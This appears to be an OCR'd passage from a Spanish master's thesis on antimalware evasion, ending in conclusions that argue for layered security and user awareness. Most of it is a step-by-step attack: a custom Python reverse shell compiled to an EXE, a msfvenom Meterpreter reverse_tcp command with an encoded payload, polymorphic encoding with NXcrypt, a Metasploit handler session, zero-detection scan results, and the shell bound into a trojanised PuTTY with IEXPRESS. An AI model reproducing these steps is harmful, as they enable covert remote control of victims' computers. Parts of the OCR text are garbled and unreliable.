mayor a 0, con ello empezara la transferencia de datos, habilitando

las respectivas variables funcionales.

Para mejorar la funcionalidad el script del cliente, se procede a
convertirlo de .py (extensién de un archivo desarrollado en Python) a

.exe (ejecutable), tal como se lo detalla en la siguiente figura:

ssUserssjeizquierdo XCinlUsershjeizquierdosApplatasLocals“Programs“Python“~Python35
PyInota1131—3 Ispyinstaller.py —w —-F C:“Shell“Probadoz“PyShellClient.py
INFO: PyInstaller: 3.3
INFO: Python: 3.6.3
INFO: Platform: Windows—8.1-6_3.97688-5F0
B INFO: wrote C:NUserssjoizguierdosPyShellClient.spec
INFO: UPH is not available.
INFO: Extending PYTHONPATH with paths
AEhellssProbados’ . *CisslsersssJeizquierdo® ]
42 INFO: checking Analysis
b6 INFO: checking PYZ
81 INFO: checking PEG
B2 INFO: Building because toc changed
82 INFO: Building PEKG (CAvchive? outBB-PKG.pky
A2 IMFO: Building PKG (CArchive) outBB-PEKG.pkyg completed successfully
@7 INFO: Bootloader C: \Uo31¢\301uqu1etdo\ﬂppData\Lucal\Plogtamo\Pythun\Python3
SwPylnstaller—3.3%Pylnstallersbootloader Windows—32bhit runw.exe
= checking EXE
2109 INFO: Building bhecause name changed
2182 INFO: Building EXE from outBB-EXE.toc
2111 INFO: Appending archive to EXE C:ixlUsershjeoizquierdosdiztwPyShellClient .exe
2155 INFO: Building ERE from outB@-EXE.toc completed successfully

Figura 4.9.- Conversion de .py a .exe mediante el comando
pyinstaller.py —w —F.

Mediante este proceso, se cuenta con el script PyShellServer.py

(Atacante) y PyShellClient.exe (Victima)

4.1.2 Evasion mediante un malware polimérfico
Analisis
Las soluciones antimalware utilizan dos técnicas de deteccion,

deteccién por firmas y por comportamiento (heuristica), la primera es
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mas rapida pero menos efectiva, la segunda utiliza mas recursos pero
resulta util ya que verifica patrones en el archivo potencialmente
dafino, pero, ¢qué sucede cuando el malware muta cambiando su
cddigo sin alterar su funcionalidad?, en este caso estamos ante un
malware de tipo polimérfico que se vuelve mucho mas dificil de
detectar ya que no cumple con el criterio de la deteccion de firmas, y
no luce como un programa malicioso, y para ello es necesario contar
con el malware y un codificador polimorfico, tal como lo muestra la

siguiente figura:

Software Codificador W ENWETE

malicioso polimaérfico polimérfico

Figura 4.10.- Representacion de un malware polimérfico.

Para la demostracion de la investigacion, se utilizaran dos

herramientas:

Msfvenom

Herramienta de creacion de payloads maliciosos.

nxCrypt.-

Codificador polimérfico para archivos desarrollados en Python. [30]
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Kali Linux 2017.2.-

Distribucion Linux basada en Debian orientada a Hacking Etico y

auditoria de infraestructuras tecnoldgicas.
Disefio del payload malicioso.-

Se generarda el payload malicioso con msfvenom, con una
configuracion sencilla y sin codificadores para aumentar la
probabilidad de deteccion por parte de las soluciones de antimalware,
se utilizara la interfaz 192.168.1.150 y el puerto 4444 para la conexion

inversa, tal como lo detalla la siguiente figura:

:~/tesis_MSIA/ev_polimorf# msfvenom -p python/meterpreter/reverse
tcp lhost=192.168.1.150 lport=4444 > PythonPayload.py
No platform was selected, choosing Msf::Module::Platform::Python from the payloa
d

No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 450 bytes

Figura 4.11.- Proceso para generar un payload malicioso.

:~/tesis MSIA/ev_polimorf# 1s -1lh
total 4.0K
-rw-r--r-- 1 root root 450 Oct 18 01:50 PythonPayload.py

Figura 4.12.- Archivo generado por la herramienta.

: v_polimorf# cat PythonPayload.py
import base64 [ .b64 :str,3:lambda b:bytes(b, 'UTF
version_info[@]]('aWlwb3J0IHNvY2tld dHJ1Y30QsdGLltZQpmb3IgeCBpbiByYW5n
10cnké z1zb2NrZXQuc29ja2vekDI 9jazVveLLNPQetfULRSRUFNKQoJCXMuY29ubm

E5Mid4xNjg TANLDQONDQpKQoJCWIyZWFrCglleGNlcHQ6CgkIdGLt zbGV1cCglKQpsPX
VjdC51bnBhY2503253JyxzLnJ1Y3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx1IGx1bihk
s9cy5yZWN2KGWtbGVUKGOpKQpleGVjKGQseydzIzpzTSkK' ) ) ) 2~/
_polimorf#

Figura 4.13.- Contenido en Base 64 del payload generado.
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Como lo demuestra la figura 4.12, la herramienta ha generado el
payload malicioso con los datos asignados como localhost y localport.

Con ello, se ha generado lo necesitado para la investigacion.

Disefio del malware polimérfico.-

Para la generacién del malware polimorfico, tal como se lo detall6 en
el analisis, es necesario un codificador polimérfico, y para este efecto
se ha utilizado NXCrypt, un fragmento de su codigo se lo muestra en

la siguiente figura:

:~/tesis_MSIA/NXcrypt# cat NXcrypt.py
r/bin/python2
ding : utf-8

Usage :

# encrypt a python file

sudo ./nxcrypt.py --file=file to encrypt.py

sudo ./nxcrypt.py --file=file to_encrypt.py --output=output file.py

# inject a malicious python file into a normal python file

sudo ./nxcrypt --file=normal file.py --backdoor-file=msf listener.py --output=test.py

/* when you will execute the file 'test.py' the file 'normal file.py' will be executed in the same time with
the file 'msf_listener.py' with multi-threading system */

# modules

rt sys
py_compile
optparse

rt os

rt commands

rt time
random

rt string

error = '\033[37;41m’
errorl = '\@33[1;m'

sucess = '\033[32m'
sucessl = '\033[37m'

troll = ['\033[1;36m','\033[1;34m', '\033[1;33m"']

colored = random.choice(troll)

Figura 4.14.- Fragmento de cédigo de NXCrypt. [30]

Se adjunta tan solo un fragmento del cédigo, ya que contiene una

considerable cantidad de junk code (Cédigo inservible), y ello, porque
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lo utiliza para poder codificar el archivo base. Se destaca que utiliza
la mayoria de librerias utilizadas en el payload desarrollado en la
primera prueba, y esto, porque Python ofrece una serie de librerias

con altas funcionalidades, apropiadas para este efecto.

Se procede a codificar el payload generado anteriormente, cuyo
nombre es “PythonPayload.py”, y con el archivo codificado resultante

“PythonPolymorphic.py”:

file : PythonPayload.py
output : PythonPolymorphic.py

encryption finished
file : PythonPolymorphic.py

Figura 4.15.- Codificado polimérfico del archivo PythonPayload.py.

:~/tesis MSIA/ev polimorf# 1ls -lh
total 316K

-rw-r--r-- 1 root root 309K Oct 18 01:56 PythonPayload.py
-rw-r--r-- 1 root root 2.4K Oct 18 01:56 PythonPolymorphic.py

Figura 4.16.- Archivos generados después de aplicar el decodificador

polimérfico.

Se ha generado el archivo que corresponde al payload codificado y al
malware polimorfico generado. Se verifica el contenido de

PythonPolymorphic.py:
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tesis_MSIA/ev_polimorf# cat PythonPolymorphic.py

9

ochudZd@ fdee[IdEHHdeLAEdEHdEgsRE
MIIEpQIBAAKCAQEAMDMgQAXKaHyTUVT3h/skxS3zVrsdT/8vKIhIl+swQ66SsUAqw
ZIDhSX7Hpos1Kgdz6TtVzWLZr/s1m1lICzCGFbxTHA+w7dsGOgkuhAdZzx1mTHXk
Uhs©sNMq/PsWTGzBJAJvKtqY+/c1I0KKadtSEBxmIRPNK6BAKtD+vroXnNODGj ri1

8yqEOMFELHrwpNNKa8NLgxYiCiQV58DE/5N0OV/0gNL 1kwR8BKNMIBo0OeTYRG+A3]
2ZfKIrvhFLVXiVRRN/p2ZwB23hFIMT91UOVbvJa5Gpm2RrIe9ruxuF6srb8fnkou
CJh4FbPJ1eHZyC7KYOOhACjPNCuSNI4a5H20CQIDAQABAOIBACIFHcU]jxzHhFWIa
HeyLCUSNtNXG7xhLVtuXoxtBlk/+KtYEK7he4QaQjvDhnp3JiK3xVficbJrgOEpQ
VIVCcARC4ztoU6U1DSYAbNy2alsHhEEZICamRdzA9ssiyM79xuhwzgU/eZ8k+f80B
bxfmJ1lbhavtIvexnLAYrTh/vjQZOkXomAYSQJya72CfpDxWkiPE0JjBSSib2j9yY
Ox5F/M8eVhB48LNvoPvbkW/Fsnl1JAerKIOYQZQABNgZkBpCbanVnJOXT10M68+1T
Wa+8+fZcsSnby6ArkreMkldeSIdeAYrWwpLoglyEozhUJvxgtjdIIM81bf2S1+zir
WcMIjPECgYEAXxh81bnaQ+19V1S0gWaHxQzbnqtwNZ47YrZnB9bkkvrBtYvRR1ev9

170Dt7cOAomyY50mP4efp3ZglI20YWSgOexB6kgblIj89 rFQWGIWMQrWoSSqK1Fk

WswFKzfI7qrdnB8Xzvly31I+alld2HYS09xvo8A051y8/ IXVEE/a020CgYEAXLH3
yMp7X4jGykNN31IJROTGznPt5BcuFmL+eT6X/EIqURUHLCb6TZDR10OTE6LSMWXPQS

dVKx97hH4gT7gDSAPNVGS INFX+PQMPwzdLIYG/9eW+GyPPRU7SEMES489V75uTmB
PRFGNWM5M94Khpx8AgmkSHKiDT523t3Thk4dgYOCgYEAVKIKNYJI3SG8NImLnpiv2
X031HBemZ8SUIEiAE1FXEA6TTVHTIPQOGXHSMCK/N5COVYyUbDTdYQqFTQtZrXowd
5HpV8n68va+v/dfZqIcf5njaFHX5VRAcp3UloYM42roLhlnOqzayMP4aIlBm/vCk
IghwzZJlP0OsnkvQCmT7vffyECgYEAhu9L+9wkPMqZDSKUS5NHh2 fw3EmRNO®OVHOaXx
yv1MyIofwvMGjRYENRVZrYITuilLMoBvPrsnSbiK35vpa08bViA9Y+1RgqpfIwuu

ZQzUCOjpO4CGhNhuzJAKDVycZvvrtsyjQ2B5Wb4FXPaj I+twCvnQULBLOgiyZXup
44XtKfUCgYEAS8DSRxHgL/nu9akH5MWKqxKsH1loeUeMTLOMLKBpIKKLNAu/pSQz9

y41V0jYgz7h09VoivlxaFRIXbhP75RzaEwDf5afDDIbsU1j sXMmcXvCAEGUG3s6p

NCPj jBvj ld4EM+nuFCY6C62819jmD/jQ2FzA5hMiPne4tGb+JLO5CcAg=

t|dEAES (ENsuTF-8(EFbytes (F1EH( (sfRythonPayload. py<lambda>§[gi[i]t\[BW1lwb3I0IHNVY2t1dCxzdHI1Y3Q5dGltZQpmb3IgeCBpbi
ByYW5nZSgxMCk6CglOcnk6CgkJcz1zb2NrzZXQuc29ja2VeKDIsc29ja2VOLINPQOt fUIRSRUFNKQoJCXMuY29ubmVjdCgoJzESMi4xNjguMS4xNT
[AnLDQONDQPKQ0oJICWIYyZWFrCglleGN1cHQ6CgkIdGltZS5zbGV1cCglKQpsPXNOcnVjdC51bnBhY25032531yxzLnJ1Y3YoNCkpWzBdCmQ9cy5yZwW
NZKGprndanXIIlebithTx5090JZCs9cy5yZWN2KthbGVuKGOpKOpleGVjKGQseydszpszkK(7 doc tase64tyst b64decod

etfgtrt

Figura 4.17.- Contenido del payload después de la aplicacion del

codificador polimérfico.

El payload ha cambiado su estructura, por lo que resta saber si
mantiene su funcionalidad y es indetectable. Es importante destacar
gue para las pruebas finales, se ejecutaran varias soluciones de

antimalware para ratificar su potencialidad.



CAPITULO 5

IMPLEMENTACION Y PRUEBAS

5.1 Implementacion y Prueba

Implementacion y prueba de payload desarrollado

En la fase de andlisis y disefio se desarrollé la version cliente
(PyShellClient) y servidor (PyShellServer), se lo implementara en un

entorno controlado, y se considera la siguiente informacion:

Atacante: 192.168.1.121 — PyShellServer.py
Victima: 192.168.1.130 — PyShellClient.exe

En el entorno del atacante se ejecuta PyShellServer, para dejar en modo

Listening el payload:
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@ CA\WINDOWS\system32\cmd.exe - C:\Users\Adriane\AppData\Local\Programs... — 0

Microsoft Windows [Uersién 6.3.9600]
(c) 2013 Microsoft Corporation. Todos los derechos reservados.

C:\Users\Adriane>C:\Users\Adriane\AppDataiLocal\Programs\Python\Python36-32\pyth

on.exe D:\PyShellServer.py
Binding socket to port: 5151

Figura 5.1.- Servidor levantado del atacante.

Posterior a ello, del lado de la victima se escanea el archivo PyShellClient,

sin ser detectado:

) EET (B e - o

Log
Scan Log
Version of virus signature database: 16260 (20171018)
Date: 10/17/2017 Time: 11:48:33 PM
Scanned disks, folders and files: C:\Users\jcizquierdo\dist\TesisFinal\PyShellClient.exe
MNurnber of scanned objects: 1
MNumber of threats found: 0

Time of completion: 11:48:33 PM Total scanning time: 0 sec (00:00:00)

Figura 5.2.- Escaneo del archivo PyShellClient.exe.

Una vez ejecutado el archivo PyShellClient.exe, la maquina atacante
obtiene el Shell reverso esperado, segun lo detallan las siguientes

imagenes:

C:\Users\Adriane>C:\Users\Adriane\AppData\Local\Programs\Python\Python36-32\pyth
on.exe D:\PyShellServer.py
Binding socket to port: 5151

Connection has been established | IP 192.168.1.130 | Port 13849
Type commands as you are in front of a DOS window

Figura 5.3.- Conexidn establecida con la victima.
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= CAWINDOWS\system32\cmd.exe - C\Users\Adriane\AppData\Local\Programs... — = -

Media State e
Connection-specific DNS Suffix

Wireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix
Link-local IPu6 Address

IPuY4 Address.

Subnet Mask

Default Gateway

Media disconnected

fe80::d01c:83f4:5b78:852%6
192.168.1.130
255.255.255.0

192.168.1.1

Ethernet adapter Bluetooth Network Connection:

Media State e
Connection-specific DNS Suffix

Ethernet adapter Ethernet:

Media State e
Connection-specific DNS Suffix

Media disconnected

Media disconnected

Ethernet adapter UirtualBox Host-Only Network:

Connection-specific DNS Suffix
Link-

Figura 5.4.- Direccion IP de la victima desde el equipo del atacante.

m Simbolo del sistema

r de LAN inalambrica Conexién de area localx 12:

los medios . dics desconectad
ifico para la conexién.

fdaptador de Ethernet Conexién de red Bluetooth:

Estado de los medios medios desconectados

Sufijo DNS especifico para la conexidn
Adaptador de LAN inalémbrica Wi-Fi

Sufijo ifico para la conexién cpe.satnet.net
: fe80 :

192.168.1.121
2]

Puerta de enlace predeterminad
adaptador de tinel isatap.cp t.net

medios desconectados
cpe.satnet .net

Estado de los medios o ..
sufijo DN ifico para la conexidn

€ : \Us: driane>ipconfig

m CAWINDOWS\system32\cmd.exe - C\Users\Adriane\AppData\Local\Programs.. — = RN

He Sta : Media disconnected
cific DNS Suffix

AN adapter Wi-Fi:

Connect pecific DNS
Link-lecal IPuG Add

Network C

: Media disconnected
Suffix

Ethernet adapter Ethernet

Media State .
Connection-specific DNS

. : Media disconnected

Ethernet adapter UirtualBox Host-Only Network

Connection-specific DNS Suffix
Link- v

Figura 5.5.- Direccion IP de atacante y victima.
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= CA\WINDOWS\system32\cmd.exe - C\Users\Adriane\AppData\Local\Programs...

C:\> dir
Uolume in drive C is Windows
Uolume Serial Number is 1E16-ESD4

Directory of C:\

0740 <DIR> Cainefolder
09:09 <DIR> Cuentas JCI
07:32 IFRToolLog. txt
12:11 <DIR> inetpub
08:27 <DIR> Intel
12:51 <DIR> ironmantri
10:22 <DIR> PerflLogs
02:46 <DIR> Program Files
03:35 <DIR> Program Files (x86)
04:39 <DIR> Pythonzé
06:24 <DIR> Shell
05:43 <DIR> SRI-DIMM
10:28 <DIR> SWSetup
737 <DIR> Users
11: <DIR> Windows
p2:20 <DIR> xkerberusty

1 File(s) 708 bytes

15 Dir(s) 19,638,808,576 bytes free

Figura 5.6.- Listado de directorios de victima.

C:\Users> vol
Uolume in drive C is Windows
Uolume Serial Number is 1E16-ESD4
C:\Users> tasklist

Session Name Session#

Services
Services
Services
Services
Services
Console

Console

Services
Services
Services
Services

o0 —-—=00000
MMM AmMmMAmAMAmRAANRNR®

Figura 5.7.- Listado de procesos.
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C:\Users> net users

User accounts for \\XKERBERUS

Administrator jeizquierdo

The command completed successfully.

Figura 5.8.- Usuarios del equipo victima.

| Simbolo del sistema

C:\Users\Adriane>whoami
left\adriane

C:\Users\Adriane>

E CAWINDOWS\system32\cmd.exe - C\Users\Ad... —

Media State . . . . . . . . . . . : Media disconnec
Connection-specific DNS Suffix

C:\Users\jcizquierdo> whoami
xkerberus\jcizquierdo
C:\Users\jcizquierdo>

<

>
Figura 5.9.- Comparacion de ejecucion de comando whoami en entorno

atacante y entorno victima.

Implementacion y prueba de malware polimérfico

El malware polimorfico se generé con el nombre PythonPolymorphic.py, se

procede a trasladarlo al equipo victima, considerando los siguientes datos:
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Atacante: 192.168.1.150 — Handler de msfconsole
Victima: 192.168.1.130 — PythonPolimorphic.py
Puerto: 4444

Se procede a escanear el payload malicioso en el equipo victima, ESET

no detecta el malware polimérfico:

Computer scan

[}
[}
~

Log
Scan Log
Version of virus signature database: 16260 (20171018)
Date: 10/18/2017 Time: 2:05:21 AM
Scanned disks, folders and files: F\ev_polimorf1\PythonPolymorphic.py
MNumber of scanned objects: 1
Mumber of threats found: 0
Time of completion: 2:05:21 AM Total scanning time: 0 sec (00:00:00)

Figura 5.10.- Escaneo del malware polimorfico.

Posterior a ello, se levanta el modo escucha en la maquina atacante, y se

lo efectlia desde msfconsole:
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https://metasploit.com

=[ metasploit v4.16.6-dev
=[ 1682 exploits - 964 auxiliary - 297 post
[ 498 payloads - 40 encoders - 10 nops
=[ Free Metasploit Pro trial: http://r-7.co/trymsp

exploit/multi/handler
st exploit( ) > set payload python/n/meterpreter/reverse tcp
The value specified for payload is not valid.
sf exploit( ) > set payload python/meterpreter/reverse tcp
payload => python/meterpreter/reverse tcp
sf exploit( ) > set lhost 192.168.1.150
host => 192.168.1.150
st exploit( ) > set lport 4444
port => 4444
st exploit( ) > exploit
[*] Exploit running as background job ©.

[*] Started reverse TCP handler on 192.168.1.150:4444
st exploit( ) >

Figura 5.11.- Modo escucha del atacante activado.

Se ejecuta el malware polimérfico del lado de la victima, y se obtiene el

Shell reverso:

msf exploit( ) > [*] Sending stage (42231 bytes) to 192.168.1.130

[*] Meterpreter session 1 opened (192.168.1.150:4444 -> 192.168.1.130:16528) at 2017-10-18 02:14:08 -0500

Figura 5.12.- Conexion reversa efectuado.

Se listan los directorios y se comprueba el acceso al equipo victima, con
ello, se confirma que el malware polimérfico funcion6 igual que el payload

generado inicialmente, pero siendo ahora indetectable.
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meterpreter
Listing:

Last modified Name
40777/ rwXrwxrwx 2013-08-22 :36: All Users
40555 r-xr-xr-x i 2013-08-22 S0 Default
40555/ r-xr-xr-x 2013-08-22 :36: Default User
40555/ r-Xr-xr-x 2013-08-22 :36: Public
1100666/ rw-rw-rw- 2013-08-22 236 desktop.ini
40777/ rwXrwxrwx 2015-08-11 37 jcizquierdo

Figura 5.13.- Listado de directorios de la victima

5.2 Evasién de soluciones antimalware

Payload desarrollado

Se procede a probar los dos script desarrollados: PyShellClient y

PyShellServer:
SHA256: 473bbadb33d4b2d10b925228f3adabfdf8bb0ffc941f9d528bf416daTb563chd
Nombra: PyShellServer.py

Detecciones: 0/57

Fecha de andlisis.  2017-10-18 07:44:03 UTC ( hace 1 minuto )

Figura 5.14.- Detalle de andlisis de malware al archivo PyShellServer.py.

SHAZ256: T77852ec1e7884df40dfc57ed5517 ee8319549f3f0586df4a53fa98e61474b435
Nombre: PyShellClient.py

Detecciones: 0157

Fecha de andlisis.  2017-10-18 07:44:31 UTC ( hace 1 minuto )

Figura 5.15.- Detalle de analisis de malware al archivo PyShellClient.py.
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Malware polimorfico.-

Se procede a probar los payloads maliciosos para conocer si los

mecanismos de evasion han sido satisfactorios.

Archivo PythonPayload, generado con msfvenom:

SHA256: b7c928df2903f67 3fcdb2f372cd19d35f6bbe5c069asda3eaed122dc90120d43
Nombre: PythonPayload py
Detecciones: 1/58

Fecha de andlisis:  2017-10-18 07:29:47 UTC ({ hace 1 minuto )

Figura 5.16.- Analisis de malware de archivo PythonPayload.py.

Archivo PythonPolymorphic, codificado por nxCrypt:

SHAZ56: 626136a63f99a0cb94630dc45c5968d06e12cabladddbbchb7d56d0eaddctazl

Nombre: PythonPalymorphic.py

Detecciones: 0 /56

Fecha de andlisis:  2017-10-18 07:37:38 UTC { hace 1 minuto )

Figura 5.17.- Andlisis de archivo PythonPolymorphic.py.

5.3 Estrategia de persuasion — Fusién de archivos
Las estadisticas demuestran que no solo una solucion de antimalware
basta para poder proteger a un usuario, sino la culturizacién en materia de
Seguridad de la Informacion para evitar ser victima de un delito
cibernético, por ello, para un atacante, es importante “camuflar’ su

malware para que pase lo mas desapercibido posible.
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Se tomara como referencia el payload malicioso desarrollado, y se
aplicara una técnica de binding (enlace) que permita fusionar el payload
malicioso con un programa benigno. En Internet, existen muchas
soluciones que ofrecen esto, sin embargo, la mayoria estan reportadas
como malware, por lo que podria comprometer al equipo que justamente
se quiere atacar, por ello, se hara uso de una herramienta poco difundida
en el mundo de la informética pero extremadamente util: IEXPRESS de

Windows.

Esta aplicacion estuvo instalada hasta la versibn Windows 8.1 de
Microsoft, y su objetivo era fusionar varios programas a manera de

empaquetamiento, para volverlos mas portables. [31]

Sin embargo, al tener el payload malicioso creado como ejecutable, tan
solo basta con conseguir un archivo benigno y de rapida ejecucion, por lo
gue se eligio el programa Putty, un cliente SSH potente y portable para

administradores de sistemas.

Por tanto, el entorno seria el siguiente:

Programa de binding: IEXPRESS
Payload malicioso: PyShellCliente.exe

Programa escudo: Putty.exe

Y V VYV V¥V

Nombre del programa a generar: PuttyPRO.exe
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Install Program to Launch

Select the programs or INF files to launch from the
package. A custom command can also be created below.

Install butty.exe]

Program — l]

The below comand will be run after the install has

completed.

Fost Instal  [PyShellClient exe |
<Back Next > Cancel |

Figura 5.18.- Enlazando los dos ejecutables.

Create package

Your package has been created. Click Finish when you

are ready to quit.
Status:
Bytes after: 5,503,008 A
|After/Before: 92.95% compression
Time: 6.02 seconds (O hr Omin 6.02 ser
Throughput: 960.89 Kb/second
Creating the package...
Done!
v
< >

< Back I Finish I Cancel |

Figura 5.19.- Fusion de archivos finalizada.

@ putty.exe
[l PuttyPRO.EXE
|4 PyShellClient.exe

Figura 5.20.- Programa PuttyPRO.exe.



Computer scan

Scan Log
Version of virus signature database: 16260 (20171018)
Date: 10/18/2017 Time: 12:2%:05 AM

Scanned disks, folders and files: Ch\Users\jcizquierdo’dist\TesisFinal\PuttyPRO.EXE

Number of scanned objects: 2

Mumber of threats found: 0

Time of completion: 12:22:03 AM Tetal scanning time: 0 sec (00:00:00)

I L
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Figura 5.21.- Payload malicioso no detectado por AV actualizado

ESET.

Una vez ejecutado, se cuenta con el mismo funcionamiento de antes, por

lo que pasa desapercibido como un programa ampliamente utilizado,

mientras que el payload se ejecuta en segundo plano:

Mame

Status

. MVIDIA User Experience Driver C...
% OneDrive Sync Engine
] opvapp.exe

> [ PresentationFontCache.exe

[=7 Preview Handler Surrogate Host

H PYSHEL~2.EXE (32 bit)

Category:
= Session | Basic options for your PuTTY session
T: I..oglging Specify the destination you want to connect to
le(‘::bnard Host Name {or IP address) Port
Eel ||z |
Features Connection type:
- Window O Raw OTeInet O Rlogin @ S5H OSenaI
- Qz:ea!ance Load, save or delete a stored session
- Behaviour
.. Translation Saved Sessions
- Selection | |
i b Colours
: Default Settings
[ Connection o
- Rlogin
H-55H
Serizl Close window on exit
(O Aways (O MNever (@ Onlyon clean ext
About | COpen | | Cancel

F® Python (32 bit)

& Pythen (32 bit)
> [m7] Realtek Audio Service

E Realtek HD Audic Manager
b [m7] RichVideo Module

w Secureline (32 bit)

[m7] Sink to receive asynchronous ca...

Figura 5.22.- Ejecucion en primer plano del programa Putty, mientras en

segundo plano se ejecuta PyShellClient.exe.



CAPITULO 6

ANALISIS DE RESULTADOS

6.1 Presentacion de resultados
La investigacion propuesta buscé determinar cémo una solucién
antimalware no puede ser considerada la Unica manera de proteger una
infraestructura tecnoldgica, ya que no representa una defensa robusta

ante la evolucion del malware de la que somos potenciales victimas.

La tecnologia avanza constantemente, y con ello la manera como nos
comunicamos, es por esto que se vuelve imprescindible contar con una
respectiva concientizacién respecto a los peligros que merodean el mundo

cibernético.
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Las soluciones antimalware son utilizadas como Unica proteccién ante
este tipo de peligros, y el objetivo de este marco de referencia es

demostrar que no deberia existir tan solo una solucién ante esto.

La evasion de los mecanismos de seguridad légica en una infraestructura
tecnoldgica corresponde a la principal técnica aplicada en la actualidad
por los atacantes, ya que segun las estadisticas demostradas, el nimero
de nuevos especimenes de malware ha decrecido, mas no el nUmero de

ataques.

A esto se suma, el dato estadistico reportado por ESET que indica que el
49% de los incidentes de seguridad en Latinoamérica en el 2016 se debid
a ataques de malware [22], y el Ecuador ocupa el cuarto lugar en dicho

estudio.

Evidentemente, no se cuenta con la suficiente concientizacion por parte
de los altos mandos a los usuarios finales, prueba de ello, es que solo el

40% realiz6 concientizaciones periddicas en el 2016 [22].

Asi también, el mismo estudio indica que solo el 53% de las empresas en
Latinoamérica implementan seguridad por capas con soluciones

antimalware, firewall y respaldo de datos.

El marco de referencia expuesto buscé probar que el antimalware es
altamente vulnerable si se lo considera como Unica medida de seguridad,

y para eso, se requirié conocer los métodos de deteccion que utiliza para
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contener una amenaza, estos son:. deteccion por firmas y deteccion

heuristica.

Se destacd que, en la deteccidn heuristica, se cuenta con patrones
avanzados basados en Inteligencia Artificial que permiten contener de

manera mas efectiva la amenaza.

Sin embargo, asi como los métodos de deteccion han evolucionado,
también evolucionaron los métodos de evasion, trayendo consigo la
tendencia de AET (Técnicas avanzadas de Evasioén), que, al conocer

como se detecta una amenaza, utiliza dichos patrones para burlarla.

Como prueba de ello, se mostré dos evasiones, una orientada al desarrollo
de un payload malicioso cuyo objetivo que conectarse a un equipo y tomar
control de él, mediante Shell reverso, y el segundo, un payload malicioso
generado por una herramienta de seguridad y que, mediante el uso de un

codificador polimorfico, se codifico volviendose un malware polimoérfico.

Ambos fueron sometidos a pruebas, evadiendo la solucion antimalware y

ejecutando las instrucciones que traian consigo.

En el segundo caso, se comparo el payload malicioso generado por una
herramienta de seguridad con el malware polimorfico y se evidencié que
el primero fue detectado como amenaza, mientras que el segundo logro

evadir todos los mecanismos antimalware.
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Como punto final, considerando el dato estadistico reportado por la Policia
Nacional del Ecuador, que el 85% de los incidentes informaticos se dan
por descuido del usuario al aceptar programas desconocidos o enviar
informacion sin considerar el sitio [24], se busco establecer una estrategia
de persuasiéon que permita camuflar el malware generado para ser mas

creible ante el usuario.

Dicha estrategia se basd en fusionar un software benigno con uno
malicioso, y se evidencid que el funcionamiento del payload malicioso fue
satisfactorio y tampoco fue reconocido por la solucion antimalware,
evidenciando asi que abrir una aplicacidbn benigna no significa que

estemos libres de amenaza.

Con ello, se evidencit la relativa facilidad con la que una amenaza puede
impactarnos como usuarios finales, comprometiendo nuestros equipos y
nuestra informacion, que representa el activo mas valioso en una

organizacion.

6.2 Andlisis de soluciones propuestas
La idea de que, una soluciéon antimalware es la medida proactiva mas
eficiente, es falsa, se demostré6 que un computador con una solucion
antimalware actualizada no representdé problemas para un malware
evolucionado que buscé comprometer al usuario, evadiendo sus medidas

de deteccion.



93

Por ello, se destaca que la tendencia de seguridad holistica es la mas
adecuada para contener este tipo de amenazas. Dicha tendencia se basa
en implementar medidas de seguridad a manera de capas, blindando asi

a la infraestructura.

Y estas capas no necesariamente deben ser solo de infraestructura. Tal
como se evidencié en el boletin de seguridad ESET 2016, en América
Latina, el 80% de las empresas que realizd concientizacion con sus
usuarios de los riesgos de Internet no reportaron incidentes de seguridad

[22].

Esto, conlleva a indicar que la seguridad holistica es una constante
sinergia basada en las personas, la tecnologia y los procedimientos, tal

como lo indica la siguiente gréfica:



«Concientizacion de
riesgos en la red

eProcedimientos
comprendidos

*Equipos actualizados

Tecnologia *0SIM / IPS / Firewall
NG

*Procedimientos
socializados

*Culturizacién y
difusion

Figura 6.1.- Seguridad Holistica.
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CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

1.

4.

La tecnologia de la informacién y la comunicacién avanza a un ritmo
acelerado, y con ello la manera como nos comunicamos Y los peligros
que enfrentamos al hacerlo.

Las estadisticas demuestran que la solucion antimalware, junto con el
uso de firewall y respaldo de datos tan solo representa poco mas del
50% de las medidas adoptadas por empresas latinoamericanas. [22]
Las técnicas de deteccion de malware en los fabricantes ha
evolucionado de manera considerable, incluyendo patrones
algoritmicos de Inteligencia Atrtificial para efectuar una proteccion mas
robusta.

Asi como las técnicas de deteccion han evolucionado, también lo han

hecho las técnicas de evasion de antimalware, haciendo que en el



96

ultimo afio haya menos numero de nuevos especimenes de malware
[18], pero mayor cantidad de ataques, dado que practicamente 4 de
cada 10 usuarios han sufrido un ataque cibernético en el afio 2016. [16]
Se efectud el desarrollo de un Shell reverso malicioso que permita
tomar control de un equipo, y este fue indetectable ante el mecanismo
de seguridad evaluado, lo cual indica que los ataques ahora son
efectuados mediante la evolucion del malware ya existente.

Se utiliz6 métodos de codificacion polimérficos para cambiar un
malware facilmente detectable, evidenciando que luego de este
proceso se volvio indetectable.

En funcion de las técnicas de evasion, también el atacante utiliza
estrategias de persuasion para aumentar la probabilidad de impacto
haciendo que el malware luzca como benigno.

Se demostrd que, con una herramienta propia del Sistema Operativo
Windows, se logré fusionar el programa malicioso con uno benigno,
evidenciando que, en la prueba, tuvo éxito su ejecucién y evasion.

Se determina mediante estas pruebas que la solucién antimalware no
deber ser la Unica considerada para proteger a una infraestructura

tecnoldgica, ya que esta puede ser evadida sin mayor problema.

10.Se concluye que la seguridad holistica, o por capas, representa un

blindaje mas robusto para una empresa, ya que contempla varios
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frentes sin dejar del lado al usuario final, quien opera el equipo y es el

principal actor en este tipo de gestion.

RECOMENDACIONES

1. Las estadisticas demuestran que la cantidad de ataques cibernéticos
va en aumento, sin embargo no aumentan el nimero de especimenes
nuevos, por lo que se hace necesario enfocar la atencion a los
mecanismos de evasion que un malware podria ejecutar, para proteger

una infraestructura tecnoldgica.

2. Las estadisticas también indican que el nimero de empresas que
concientiza a su personal sobre los riesgos cibernéticos, son empresas
mas seguras, por ello, se recomienda crear campafas peridédicas de

responsabilidad de la informacion y los riesgos que pueden enfrentar.

3. La seguridad debe ser holistica y no simplemente un parche de
seguridad, por ello, se recomienda implementar medidas que protejan
a las personas, a los procesos y a la tecnologia.

4. Un antimalware y un Sistema Operativo actualizado no supone una
proteccion total, pero agrega una robusta capa a la seguridad local del
cliente, se destaca que el uso de software pirata es un riesgo latente ya

gue no permite mantener el software actualizado.
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5. Las técnicas de evasion se apoyan en las estrategias de persuasion
para ser mas efectivas, por ello, es necesario dotar a nuestros clientes
o usuarios finales de las principales herramientas y contenidos de
